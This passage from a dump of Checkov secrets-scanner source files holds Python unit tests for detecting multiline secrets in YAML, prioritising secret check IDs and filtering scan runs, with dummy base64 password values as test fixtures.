\"TEST_PASSWORD_3\"',\n                'value: \"Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw\"',\n                'name: \"TEST_PASSWORD_4\"',\n                'value: \"Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw\"',\n                'name: \"TEST_PASSWORD_BASE64_LONG_1\"'\n            ],\n            start_line=112,\n            target_index=5\n        )\n        raw_context = CodeSnippet(\n            snippet=[\n                '        - name: TEST_SOMETHING\\n',\n                '          value: not-a-real-password\\n',\n                '        - name: TEST_PASSWORD_1\\n',\n                '          value: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\\n',\n                '        - name: TEST_PASSWORD_2\\n',\n                '          value: Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI\\n',\n                '        - name: TEST_PASSWORD_3\\n',\n                '          value: Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw\\n',\n                '        - name: TEST_PASSWORD_4\\n',\n                '          value: Z2FlYnJzZGhqa2p1aGdmZHN3cXdnaHluanVraWxvaWtqdWh5Z3RyZmVkd3NlcnR5dWk4bw\\n',\n                '        - name: TEST_PASSWORD_LONG\\n'\n            ],\n            start_line=112,\n            target_index=5\n        )\n        res = self.plugin.analyze_line(\n            filename=\"test.yml\",\n            line='value: \"Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI\"',\n            line_number=118,\n            context=context,\n            raw_context=raw_context\n        )\n        expected_secret_value = 'Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI'\n        assert res\n        po_secret = res.pop()\n        assert expected_secret_value == po_secret.secret_value\n        assert po_secret.is_multiline is True\n\n    def test_keyword_in_value_pair2(self):\n        # first line is password, next line underneath is keyword\n        context = CodeSnippet(\n            snippet=[\n                '',\n                '',\n                '',\n                '',\n                '',\n                'value: \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"',\n                'name: \"TEST_PASSWORD_1\"',\n                'name1: \"TEST_PASSWORD_2\"',\n                'value1: \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"',\n                'name: \"TEST_PASSWORD_3\"',\n                'value: \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"'\n            ],\n            start_line=5,\n            target_index=5\n        )\n        raw_context = CodeSnippet(\n            snippet=[\n                '#\\n',\n                 '#\\n',\n                 'spec:\\n',\n                 '  - name: SOME_NAME\\n',\n                 '    value: some_value\\n',\n                 '    value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\\n',\n                 '    name: TEST_PASSWORD_1\\n',\n                 '  - name1: TEST_PASSWORD_2\\n',\n                 '    value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\\n',\n                 '    name: TEST_PASSWORD_3\\n',\n                 '    value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\\n'\n            ],\n            start_line=5,\n            target_index=5\n        )\n        res = self.plugin.analyze_line(\n            filename=\"test.yml\",\n            line='value: \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"',\n            line_number=11,\n            context=context,\n            raw_context=raw_context\n        )\n\n        expected_secret_value = 'Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE'\n        assert res\n        po_secret = res.pop()\n        assert expected_secret_value == po_secret.secret_value\n        assert po_secret.is_multiline is True\n\n    def test_keyword_in_value_pair_long_password(self):\n        # first line is keyword, next line (underneath) is a long multiline password\n        context = CodeSnippet(\n            snippet=[\n                'name: \"TEST_PASSWORD_3\"',\n                'value: \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"',\n                'name: \"TEST_PASSWORD_4\"',\n                'value: \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"',\n                'name: \"TEST_PASSWORD_LONG_1\"',\n                'value: \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"',\n                'name: \"TEST_PASSWORD_no_password\"',\n                'value: \"RandomP@ssw0rd\"'\n            ],\n            start_line=7,\n            target_index=5\n        )\n        raw_context = CodeSnippet(\n            snippet=[\n                '  - name: TEST_PASSWORD_3\\n',\n                '    value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\\n',\n                '  - name: TEST_PASSWORD_4\\n',\n                '    value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\\n',\n                '  - name: TEST_PASSWORD_LONG_1\\n',\n                '    value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\\n',\n                '  - name: TEST_PASSWORD_no_password\\n',\n                '    value: RandomP@ssw0rd\\n'\n            ],\n            start_line=112,\n            target_index=5\n        )\n        res = self.plugin.analyze_line(\n            filename=\"test.yml\",\n            line='value: \"Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI\"',\n            line_number=118,\n            context=context,\n            raw_context=raw_context\n        )\n        expected_secret_value = 'm9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN'\n        assert res\n        po_secret = res.pop()\n        assert expected_secret_value == po_secret.secret_value\n        assert po_secret.is_multiline is True\n\n    def test_multiline_keyword_password_report(self):\n        test_file_path = Path(__file__).parent / \"yml_multiline/test-multiline-secrets.yml\"\n\n        report = Runner().run(\n            root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=['secrets'])\n        )\n        self.assertEqual(len(report.failed_checks), 5)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_non_multiline_pair_time_limit_creating_report(self):\n        # given\n        test_files = [str(Path(__file__).parent / \"yml_multiline/pomerium_compose.yml\")]\n        runner = Runner()\n        runner_filter = RunnerFilter(framework=['secrets'])\n\n        # when\n        start_time = time.time()\n        report = runner.run(root_folder=None, files=test_files, runner_filter=runner_filter)\n        end_time = time.time()\n\n        # then\n        assert end_time-start_time < 2  # assert the time limit is not too long for parsing long lines.\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks,\n                                                                     [\"CKV_SECRET_4\", \"CKV_SECRET_6\", \"CKV_SECRET_13\"])\n        self.assertEqual(len(interesting_failed_checks), 4)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_regex_keyword_in_value(self):\n        # the regex only finds the relevant part from the keyword that matches,\n        # the whole keyword is not found by the current regex.\n\n        examples = [\n            # (line, keyword)\n            (\n                \"        - name: TEST_PASSWORD_1\\n\",\n                \"PASSWORD\",\n            ),\n            (\n                \"          name: TEST_PASSWORD_1\\n\",\n                \"PASSWORD\",\n            )\n        ]\n\n        keyword_value_regex_to_group = REGEX_VALUE_KEYWORD_BY_FILETYPE.get(FileType.YAML)\n        value_regex, group_number = list(keyword_value_regex_to_group.items())[0]\n        for line, secret in examples:\n            match = value_regex.search(line).group(group_number)\n            assert match == secret\n\n    def test_regex_secret_in_value(self):\n        examples = [\n            # (line, secret)\n            (\n                \"         - value: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\\n\",\n                \"Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\\n\",\n            ),\n            (\n                \"           value: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\\n\",\n                \"Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\\n\",\n            ),\n        ]\n\n        secret_value_regex_to_group = REGEX_VALUE_SECRET_BY_FILETYPE.get(FileType.YAML)\n        value_regex, group_number = list(secret_value_regex_to_group.items())[0]\n        for line, secret in examples:\n            match = value_regex.search(line).group(group_number)\n            assert match == secret\n"
  },
  {
    "path": "tests/secrets/test_prioritise_secrets.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.secrets_record import SecretsRecord\nfrom checkov.secrets.runner import Runner, ENTROPY_CHECK_IDS, GENERIC_PRIVATE_KEY_CHECK_IDS\n\n\nclass TestPrioritiseSecrets(unittest.TestCase):\n    def setUp(self):\n        self.secret_records = {\n            'key1': SecretsRecord(check_id='CKV_SECRET_6', check_name='foo',\n                                  check_result={\"result\": CheckResult.FAILED}, code_block=[(1, 'baz')],\n                                  file_path='qux', file_line_range=[1, 2], resource='resource', evaluations=None,\n                                  check_class='CheckClass', file_abs_path='abs_path'),\n            'key2': SecretsRecord(check_id='CKV_SECRET_10', check_name='foo',\n                                  check_result={\"result\": CheckResult.FAILED},\n                                  code_block=[(1, 'baz')], file_path='qux', file_line_range=[1, 2], resource='resource',\n                                  evaluations=None, check_class='CheckClass', file_abs_path='abs_path'),\n            'key3': SecretsRecord(check_id='CKV_SECRET_18', check_name='foo',\n                                  check_result={\"result\": CheckResult.FAILED}, code_block=[(1, 'baz')],\n                                  file_path='qux', file_line_range=[1, 2], resource='resource', evaluations=None,\n                                  check_class='CheckClass', file_abs_path='abs_path'),\n            'key4': SecretsRecord(check_id='CKV_SECRET_192', check_name='foo',\n                                  check_result={\"result\": CheckResult.FAILED}, code_block=[(1, 'baz')],\n                                  file_path='qux', file_line_range=[1, 2], resource='resource', evaluations=None,\n                                  check_class='CheckClass', file_abs_path='abs_path'),\n        }\n        self.ENTROPY_CHECK_IDS = ENTROPY_CHECK_IDS\n        self.GENERIC_PRIVATE_KEY_CHECK_IDS = GENERIC_PRIVATE_KEY_CHECK_IDS\n\n    def test_entropy_check_id_removed(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key1', 'CKV_SECRET_18')\n        self.assertTrue(result)\n        self.assertNotIn('key1', self.secret_records)\n\n    def test_generic_private_key_check_id_removed(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key2', 'CKV_SECRET_18')\n        self.assertTrue(result)\n        self.assertNotIn('key2', self.secret_records)\n\n    def test_generic_private_key_check_id_192_removed(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key4', 'CKV_SECRET_18')\n        self.assertTrue(result)\n        self.assertNotIn('key4', self.secret_records)\n\n    def test_no_removal_entropy_check_id(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key1', 'CKV_SECRET_6')\n        self.assertFalse(result)\n        self.assertIn('key1', self.secret_records)\n\n    def test_no_removal_generic_private_key_check_id(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key2', 'CKV_SECRET_10')\n        self.assertFalse(result)\n        self.assertIn('key2', self.secret_records)\n\n    def test_no_removal_generic_private_key_check_id_192(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key4', 'CKV_SECRET_192')\n        self.assertFalse(result)\n        self.assertIn('key4', self.secret_records)\n\n    def test_no_removal_other_check_id(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key3', 'CKV_SECRET_1000')\n        self.assertFalse(result)\n        self.assertIn('key3', self.secret_records)\n\n    def test_no_removal_of_first_check_id(self):\n        result = Runner._prioritise_secrets(self.secret_records, 'key1', 'CKV_SECRET_80')\n        self.assertFalse(result)\n        self.assertIn('key1', self.secret_records)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/secrets/test_runner.py",
    "content": "import unittest\n\nimport os\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severities\nfrom checkov.secrets.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def setUp(self) -> None:\n        self.orig_metadata = metadata_integration.check_metadata\n\n    def test_runner_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets']))\n        self.assertEqual(len(report.failed_checks), 2)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_sanity_check_secrets(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/sanity/secrets\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6']))\n        self.assertEqual(len(report.failed_checks), 6)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_fp_sanity_check_secrets_non_iac(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/sanity/iac_fp\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6'], enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_fp_sanity_check_secrets_iac(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/sanity/non_iac_fp\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6'], enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_sanity_check_non_secrets(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/sanity/non_secrets\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6']))\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n        runner = Runner()\n        filter = RunnerFilter(framework=['secrets'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.SECRETS: Severities[BcSeverities.OFF]}\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=filter)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        report.print_console()\n\n    def test_runner_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/terraform\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets']))\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_tf_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/terraform_failed\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets']))\n        self.assertEqual(2, len(report.failed_checks))\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_tf_skip_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/terraform_skip\"\n\n        report = Runner().run(\n            root_folder=valid_dir_path,\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=['secrets'])\n        )\n\n        self.assertEqual(len(report.skipped_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(len(report.skipped_checks), 1)\n\n        report.print_console()\n\n    def test_runner_specific_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_2']))\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n\n    def test_runner_wildcard_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET*']))\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.failed_checks), 2)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n\n    def test_runner_skip_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['CKV_SECRET_2']))\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.failed_checks[0].check_id, 'CKV_SECRET_6')\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n\n    def test_record_has_severity(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n\n        metadata_integration.check_metadata = {\n            'CKV_SECRET_2': {\n                'severity': Severities[BcSeverities.LOW]\n            }\n        }\n\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_2']))\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_runner_check_severity(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n\n        metadata_integration.check_metadata = {\n            'CKV_SECRET_2': {\n                'severity': Severities[BcSeverities.LOW]\n            },\n            'CKV_SECRET_6': {\n                'severity': Severities[BcSeverities.HIGH]\n            }\n        }\n\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], checks=['MEDIUM']))\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.failed_checks[0].check_id, 'CKV_SECRET_6')\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n\n    def test_runner_skip_check_severity(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n\n        metadata_integration.check_metadata = {\n            'CKV_SECRET_2': {\n                'severity': Severities[BcSeverities.LOW]\n            },\n            'CKV_SECRET_6': {\n                'severity': Severities[BcSeverities.HIGH]\n            }\n        }\n\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['MEDIUM']))\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.failed_checks[0].check_id, 'CKV_SECRET_6')\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n\n    def test_runner_skip_check_wildcard(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['CKV_SECRET*']))\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n\n    def test_runner_multiple_files(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets']))\n        self.assertEqual(9, len(report.failed_checks))\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(len(report.skipped_checks), 1)\n\n    def test_runner_bc_ids(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        # the other tests will implicitly test this value being None\n\n        metadata_integration.check_metadata = {\n            'CKV_SECRET_2': {\n                'id': 'BC_GIT_2'\n            }\n        }\n\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets']))\n        for fc in report.failed_checks:\n            if fc.check_id == 'CKV_SECRET_2':\n                self.assertEqual(fc.bc_check_id, 'BC_GIT_2')\n            else:\n                self.assertIsNone(fc.bc_check_id)\n\n    def tearDown(self) -> None:\n        metadata_integration.check_metadata = self.orig_metadata\n\n    def test_runner_requested_file_type_only_ts(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       block_list_secret_scan=['.py', 'Dockerfile', '.tf', '.yml'],\n                                                       enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 2)\n\n    def test_runner_requested_file_type_only_py(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.ts', 'Dockerfile', '.tf', '.yml'],\n                                                       enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 2)\n\n    def test_runner_requested_file_type_only_yml(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', 'Dockerfile', '.tf', '.ts'],\n                                                       enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 2)\n\n    def test_runner_requested_file_type_only_tf(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       block_list_secret_scan=['.py', 'Dockerfile', '.ts', '.yml'],\n                                                       enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 3)\n\n    def test_runner_requested_file_type_only_tf_yml(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', 'Dockerfile', '.ts'],\n                                                       enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 5)\n\n    def test_runner_requested_file_type_all(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 13)\n\n    def test_runner_requested_file_only_dockerfile(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', '.tf', '.ts', '.yml'],\n                                                       enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 4)\n\n\n    def 